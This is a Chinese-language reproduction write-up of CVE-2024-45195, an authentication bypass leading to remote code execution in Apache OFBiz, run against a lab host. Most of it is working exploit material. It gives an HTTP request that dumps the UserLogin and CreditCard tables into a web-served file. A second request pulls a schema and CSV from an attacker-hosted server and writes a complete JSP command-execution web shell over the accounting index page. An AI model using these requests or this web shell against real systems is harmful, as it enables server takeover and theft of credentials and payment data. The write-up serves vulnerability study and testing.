Apache OFBiz 身份验证绕过导致远程代码执行(CVE-2024-45195)
概述
Apache OFBiz 是一个开源的企业级应用程序框架,主要用于构建大型的、跨平台的、多层的、分布式的电子商务应用系统。它提供了构建 ERP (企业资源规划), CRM (客户关系管理), 电子商务, SCM (供应链管理) 等系统所需的各种组件和工具。OFBiz 基于 J2EE 和 XML 规范,采用 Java 语言开发,并遵循 Apache License 2.0 许可协议。
在 Apache OFBiz 18.12.16 之前的版本中,未授权的攻击者可以利用 Web 应用程序中缺少的视图授权检查(控制器和视图映射状态无法同步),在服务器上执行任意代码。攻击者可以通过绕过先前针对 CVE-2024-32113、CVE-2024-36104 和 CVE-2024-38856 的补丁来利用该漏洞。
参考:CVE-2024-45195:Apache OFBiz 未经身份验证的远程代码执行(已修复)
漏洞复现
启动靶场以后,访问 https://192.168.2.243:8443/accounting 即可进入登录页面。
在该漏洞中,XmlDsDump
视图可用于查询数据库中几乎任何已存储的数据,并将结果数据写入磁盘上任意位置的任意命名文件。
首先在漏洞点发送一个请求包:
POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
Host: 192.168.2.243:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
outpath=./themes/common-theme/webapp/common/&maxrecords=&filename=123.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard
通过以上命令,会在 common 目录下生成一个 123.txt 的文件,访问该文件。
此时可以看到,成功执行命令将 Apache OFBiz 存储的所有用户名、密码存进 123.txt 中。
继续尝试写入 WebShell
因为该漏洞同时允许通过 viewdatafile
的视图映射,通过提供 XML 定义文件位置、数据文件 XML 定义名称、CSV 数据文件位置以及用于保存从 CSV 中提取的数据的文件路径,并指定定义文件位置和 CSV 位置都是远程 URL(通过 DEFINITION_IS_URL 和 DATAFILE_IS_URL 参数来实现),从而注入 .jsp
文件,获取到 WebShell。
首先在一个 target 可以访问到的服务器上创建两个文件,并开启服务。
第一个文件是 rceschema.xml
,该 XML schema 文件定义了恶意 JSP 的结构(注意该文件中 length="605"
的 605 需要与第二个文件 rcereport.csv
的长度相同):
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
第二个文件是 rcereport.csv
,此 CSV 文件包含实际的 JSP 代码:
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
随后发送 Payload 请求包:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: 192.168.2.243:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
DATAFILE_LOCATION=http://192.168.2.243:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://192.168.2.243:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
发送该 Payload,会将文件保存到 /applications/accounting/webapp/accounting/index.jsp
,亦可以是其他可以访问的路径中。
访问该文件:
https://192.168.2.243:8443/accounting/index.jsp?cmd=command
即可 WebShell。